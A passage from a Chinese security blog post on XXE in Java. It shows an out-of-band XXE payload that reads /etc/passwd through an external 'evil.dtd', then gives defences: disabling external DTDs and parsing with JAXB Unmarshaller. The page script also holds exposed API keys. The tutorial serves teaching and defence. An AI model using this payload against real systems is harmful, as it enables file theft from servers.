<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;!DOCTYPE data [</span><br><span class="line">  &lt;!ENTITY % file SYSTEM &quot;file:///etc/passwd&quot;&gt;</span><br><span class="line">  &lt;!ENTITY % dtd SYSTEM &quot;http://127.0.0.1:8888/evil.dtd&quot;&gt;</span><br><span class="line">  %dtd;</span><br><span class="line">]&gt;</span><br><span class="line">&lt;data&gt;&amp;send;&lt;/data&gt;</span><br></pre></td></tr></table></figure>
<p>ftp服务器得到回显，从结果可以看到，有些符号还是中断了ftp的传输：</p>
<p><img src="/xxe-XXE漏洞原理、攻击方式以及防御方法/1548225798806.png" alt="1548225798806"></p>
<h1 id="防御"><a href="#防御" class="headerlink" title="防御"></a>防御</h1><p>java的很多包都有xxe解析的漏洞，但是防御手段都大同小异，禁用外部实体就完事了：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();</span><br><span class="line">dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, <span class="string">""</span>);</span><br><span class="line">dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, <span class="string">""</span>);</span><br></pre></td></tr></table></figure>
<p>其他包的禁用方法可以参考<a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md" target="_blank" rel="noopener">OWASP(XXE)_Prevention_Cheat_Sheet</a></p>
<p>可以看到，禁用实体之后已经不存在XXE：</p>
<p><img src="/xxe-XXE漏洞原理、攻击方式以及防御方法/1548226937710.png" alt="1548226937710"></p>
<h1 id="使用Unmarshaller和JAXBContext防御XXE漏洞"><a href="#使用Unmarshaller和JAXBContext防御XXE漏洞" class="headerlink" title="使用Unmarshaller和JAXBContext防御XXE漏洞"></a>使用Unmarshaller和JAXBContext防御XXE漏洞</h1><p>使用Unmarshaller和JAXBContext防御XXE漏洞是我感觉最优雅的解决办法了，Unmarshaller本身就屏蔽了外部实体，自然也没有XXE漏洞，不仅如此，它还能通过注解与类直接绑定，连解析都省了。</p>
<h2 id="定义DTO"><a href="#定义DTO" class="headerlink" title="定义DTO"></a>定义DTO</h2><p>新建UserDto.java文件，内容如下：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@XmlAccessorType</span>(XmlAccessType.FIELD)</span><br><span class="line"><span class="meta">@XmlRootElement</span>(name=<span class="string">"user"</span>)</span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">UserDto</span> </span>&#123;</span><br><span class="line">    <span class="meta">@XmlElement</span></span><br><span class="line">	<span class="keyword">private</span> String username;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@XmlElement</span></span><br><span class="line">	<span class="keyword">private</span> String password;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> String <span class="title">getUsername</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> username;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> String <span class="title">getPassword</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> password;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">	<span class="meta">@Override</span></span><br><span class="line">	<span class="function"><span class="keyword">public</span> String <span class="title">toString</span><span class="params">()</span> </span>&#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="string">"User(username="</span> + username + <span class="string">", password="</span> + password + <span class="string">")"</span>;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h2 id="定义XML反序列化工具类"><a href="#定义XML反序列化工具类" class="headerlink" title="定义XML反序列化工具类"></a>定义XML反序列化工具类</h2><p>新建Util.java：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Util</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title">xmlStr2obj</span><span class="params">(Class clazz, String xmlStr)</span> </span>&#123;</span><br><span class="line">        Object xmlObject = <span class="keyword">null</span>;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            JAXBContext context = JAXBContext.newInstance(clazz);</span><br><span class="line">            <span class="comment">// 进行将Xml转成对象的核心接口</span></span><br><span class="line">            Unmarshaller unmarshaller = context.createUnmarshaller();</span><br><span class="line">            StringReader sr = <span class="keyword">new</span> StringReader(xmlStr);</span><br><span class="line">            xmlObject = unmarshaller.unmarshal(sr);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (JAXBException e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> xmlObject;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>可以看到我们这里使用了JAXBContext读取XML。</p>
<h2 id="定义Controller-1"><a href="#定义Controller-1" class="headerlink" title="定义Controller"></a>定义Controller</h2><p>新建XXEController.java：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">XXEController</span> </span>&#123;</span><br><span class="line">    <span class="meta">@PostMapping</span>(value = <span class="string">"/xxe2"</span>)</span><br><span class="line">    <span class="function"><span class="keyword">public</span> String <span class="title">xxe2</span><span class="params">(@RequestBody String userString)</span></span>&#123;</span><br><span class="line">        UserDto userDto=(UserDto) Util.xmlStr2obj(UserDto<span class="class">.<span class="keyword">class</span>, <span class="title">userString</span>)</span>;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"Username: "</span> + userDto.getUsername()+<span class="string">", Password: "</span> + userDto.getPassword();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>很有意思的是，笔者在写这文章的一开始就使用了Unmarshaller和JAXBContext的方案，导致了XXE漏洞根本复现不出来&gt;_&lt;</p>

    </div>

    
    
    
        
      
        

<div>
<ul class="post-copyright">
  <li class="post-copyright-author">
    <strong>本文作者： </strong>Anemone</li>
  <li class="post-copyright-link">
    <strong>本文链接：</strong>
    <a href="http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/" title="实现包含XXE漏洞的服务、攻击以及防御方法">http://anemone.top/xxe-XXE漏洞原理、攻击方式以及防御方法/</a>
  </li>
  <li class="post-copyright-license">
    <strong>版权声明： </strong>本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh" rel="noopener" target="_blank"><i class="fa fa-fw fa-creative-commons"></i>BY-NC-SA</a> 许可协议。转载请注明出处！</li>
</ul>
</div>

      

      <footer class="post-footer">
          
            
          
          <div class="post-tags">
            
              <a href="/tags/java/" rel="tag"># java</a>
            
              <a href="/tags/xxe/" rel="tag"># xxe</a>
            
          </div>
        

        

          <div class="post-nav">
            <div class="post-nav-next post-nav-item">
              
                <a href="/组件-redis未授权-弱密码漏洞复现和防护/" rel="next" title="redis未授权&弱密码漏洞复现和防护">
                  <i class="fa fa-chevron-left"></i> redis未授权&弱密码漏洞复现和防护
                </a>
              
            </div>

            <span class="post-nav-divider"></span>

            <div class="post-nav-prev post-nav-item">
              
                <a href="/ctf-2019安恒01月赛babygo（详解）和其他题目wp/" rel="prev" title="2019安恒01月赛babygo（详解）和其他题目wp">
                  2019安恒01月赛babygo（详解）和其他题目wp <i class="fa fa-chevron-right"></i>
                </a>
              
            </div>
          </div>
        
      </footer>
    
  </div>
  
  
  
  </article>

  </div>


          </div>
          
    
    <div class="comments" id="gitalk-container"></div>
  

        </div>
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">
        
        
        
        
      

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#实现包含XXE漏洞的服务"><span class="nav-number">1.</span> <span class="nav-text">实现包含XXE漏洞的服务</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#新建项目"><span class="nav-number">1.1.</span> <span class="nav-text">新建项目</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#定义Controller"><span class="nav-number">1.2.</span> <span class="nav-text">定义Controller</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#调试"><span class="nav-number">1.3.</span> <span class="nav-text">调试</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#攻击"><span class="nav-number">2.</span> <span class="nav-text">攻击</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#有回显的XXE攻击"><span class="nav-number">2.1.</span> <span class="nav-text">有回显的XXE攻击</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#无回显的XXE攻击"><span class="nav-number">2.2.</span> <span class="nav-text">无回显的XXE攻击</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#使用ftp进行无回显的攻击"><span class="nav-number">2.3.</span> <span class="nav-text">使用ftp进行无回显的攻击</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#防御"><span class="nav-number">3.</span> <span class="nav-text">防御</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#使用Unmarshaller和JAXBContext防御XXE漏洞"><span class="nav-number">4.</span> <span class="nav-text">使用Unmarshaller和JAXBContext防御XXE漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#定义DTO"><span class="nav-number">4.1.</span> <span class="nav-text">定义DTO</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#定义XML反序列化工具类"><span class="nav-number">4.2.</span> <span class="nav-text">定义XML反序列化工具类</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#定义Controller-1"><span class="nav-number">4.3.</span> <span class="nav-text">定义Controller</span></a></li></ol></li></ol></div>
        
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image"
      src="/images/avatar.jpg"
      alt="Anemone">
  <p class="site-author-name" itemprop="name">Anemone</p>
  <div class="site-description" itemprop="description">关注Web安全、移动安全、Fuzz测试和机器学习</div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
        
          <a href="/archives/">
        
          <span class="site-state-item-count">70</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
    
      
      
      <div class="site-state-item site-state-categories">
        
          
            <a href="/categories/">
          
        
        <span class="site-state-item-count">31</span>
        <span class="site-state-item-name">分类</span>
        </a>
      </div>
    
      
      
      <div class="site-state-item site-state-tags">
        
          
            <a href="/tags/">
          
        
        <span class="site-state-item-count">86</span>
        <span class="site-state-item-name">标签</span>
        </a>
      </div>
    
  </nav>
</div>
  <div class="feed-link motion-element">
    <a href="/atom.xml" rel="alternate">
      <i class="fa fa-rss"></i>RSS
    </a>
  </div>
  <div class="links-of-author motion-element">
      <span class="links-of-author-item">
      
      
        
      
      
        
      
        <a href="https://github.com/anemone95" title="GitHub &rarr; https://github.com/anemone95" rel="noopener" target="_blank"><i class="fa fa-fw fa-github"></i>GitHub</a>
      </span>
    
      <span class="links-of-author-item">
      
      
        
      
      
        
      
        <a href="mailto:anemone95@qq.com" title="E-Mail &rarr; mailto:anemone95@qq.com" rel="noopener" target="_blank"><i class="fa fa-fw fa-envelope"></i>E-Mail</a>
      </span>
    
  </div>
  <div class="cc-license motion-element" itemprop="license">
    
  
    <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh" class="cc-opacity" rel="noopener" target="_blank"><img src="/images/cc-by-nc-sa.svg" alt="Creative Commons"></a>
  </div>



      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2018 – <span itemprop="copyrightYear">2020</span>
  <span class="with-love" id="animate">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">anemone</span>
</div>
  <div class="powered-by">由 <a href="https://hexo.io" class="theme-link" rel="noopener" target="_blank">Hexo</a> 强力驱动 v3.9.0</div>
  <span class="post-meta-divider">|</span>
  <div class="theme-info">主题 – <a href="https://theme-next.org" class="theme-link" rel="noopener" target="_blank">NexT.Pisces</a> v7.4.0</div>

        






  
  <script>
  function leancloudSelector(url) {
    return document.getElementById(url).querySelector('.leancloud-visitors-count');
  }
  if (CONFIG.page.isPost) {
    function addCount(Counter) {
      var visitors = document.querySelector('.leancloud_visitors');
      var url = visitors.getAttribute('id').trim();
      var title = visitors.getAttribute('data-flag-title').trim();

      Counter('get', `/classes/Counter?where=${JSON.stringify({ url })}`)
        .then(response => response.json())
        .then(({ results }) => {
          if (results.length > 0) {
            var counter = results[0];
            Counter('put', '/classes/Counter/' + counter.objectId, { time: { '__op': 'Increment', 'amount': 1 } })
              .then(response => response.json())
              .then(() => {
                leancloudSelector(url).innerText = counter.time + 1;
              })
            
              .catch(error => {
                console.log('Failed to save visitor count', error);
              })
          } else {
              Counter('post', '/classes/Counter', { title: title, url: url, time: 1 })
                .then(response => response.json())
                .then(() => {
                  leancloudSelector(url).innerText = 1;
                })
                .catch(error => {
                  console.log('Failed to create', error);
                });
            
          }
        })
        .catch(error => {
          console.log('LeanCloud Counter Error', error);
        });
    }
  } else {
    function showTime(Counter) {
      var visitors = document.querySelectorAll('.leancloud_visitors');
      var entries = [...visitors].map(element => {
        return element.getAttribute('id').trim();
      });

      Counter('get', `/classes/Counter?where=${JSON.stringify({ url: { '$in': entries } })}`)
        .then(response => response.json())
        .then(({ results }) => {
          if (results.length === 0) {
            document.querySelectorAll('.leancloud_visitors .leancloud-visitors-count').forEach(element => {
              element.innerText = 0;
            });
            return;
          }
          for (var i = 0; i < results.length; i++) {
            var item = results[i];
            var url = item.url;
            var time = item.time;
            leancloudSelector(url).innerText = time;
          }
          for (var i = 0; i < entries.length; i++) {
            var url = entries[i];
            var element = leancloudSelector(url);
            if (element.innerText == '') {
              element.innerText = 0;
            }
          }
        })
        .catch(error => {
          console.log('LeanCloud Counter Error', error);
        });
    }
  }

  fetch('https://app-router.leancloud.cn/2/route?appId=o5UaCJdPfEG0g7MVxXSMagpT-gzGzoHsz')
    .then(response => response.json())
    .then(({ api_server }) => {
      var Counter = (method, url, data) => {
        return fetch(`https://${api_server}/1.1${url}`, {
          method: method,
          headers: {
            'X-LC-Id': 'o5UaCJdPfEG0g7MVxXSMagpT-gzGzoHsz',
            'X-LC-Key': 'c6IN1PuMV3QPltJcrHfn74Gt',
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(data)
        });
      };
      if (CONFIG.page.isPost) {
        const localhost = /http:\/\/(localhost|127.0.0.1|0.0.0.0)/;
        if (localhost.test(document.URL)) return;
        addCount(Counter);
      } else if (document.querySelectorAll('.post-title-link').length >= 1) {
        showTime(Counter);
      }
    });
  </script>






        
      </div>
    </footer>
  </div>

  
  <script src="//cdn.jsdelivr.net/npm/animejs@3.1.0/lib/anime.min.js"></script>
  <script src="https://cdn.bootcss.com/velocity/1.2.1/velocity.min.js"></script>
  <script src="https://cdn.bootcss.com/velocity/1.2.1/velocity.ui.js"></script>
<script src="/js/utils.js?v=7.4.0"></script><script src="/js/motion.js?v=7.4.0"></script>
<script src="/js/schemes/pisces.js?v=7.4.0"></script>
<script src="/js/next-boot.js?v=7.4.0"></script>



  
  <script>
    (function(){
      var bp = document.createElement('script');
      var curProtocol = window.location.protocol.split(':')[0];
      bp.src = (curProtocol === 'https') ? 'https://zz.bdstatic.com/linksubmit/push.js' : 'http://push.zhanzhang.baidu.com/push.js';
      var s = document.getElementsByTagName("script")[0];
      s.parentNode.insertBefore(bp, s);
    })();
  </script>








  
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/instantsearch.js@2.10.4/dist/instantsearch.min.css">
<script src="//cdn.jsdelivr.net/npm/instantsearch.js@2.10.4/dist/instantsearch.min.js"></script><script src="/js/algolia-search.js?v=7.4.0"></script>











<script>
if (document.querySelectorAll('pre.mermaid').length) {
  NexT.utils.getScript('//cdn.bootcss.com/mermaid/8.2.6/mermaid.min.js', () => {
    mermaid.initialize({
      theme: 'forest',
      logLevel: 3,
      flowchart: { curve: 'linear' },
      gantt: { axisFormat: '%m/%d/%Y' },
      sequence: { actorMargin: 50 }
    });
  }, window.mermaid);
}
</script>




  

  

  

  

<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.css">

<script>
  NexT.utils.getScript('//cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.min.js', () => {
    var gitalk = new Gitalk({
      clientID: 'f3075553d7b0225df6ca',
      clientSecret: '68362ba87c4cc8e13103afcf729f5bd8ea176a78',
      repo: 'anemone95.github.io',
      owner: 'Anemone95',
      admin: ['Anemone95'],
      id: 'd203b90a82352fc120b4a17ed6d4fbc5',
        language: window.navigator.language || window.navigator.userLanguage,
      
      distractionFreeMode: 'true'
    });
    gitalk.render('gitalk-container');
  }, window.Gitalk);
</script>

</body>
</html>
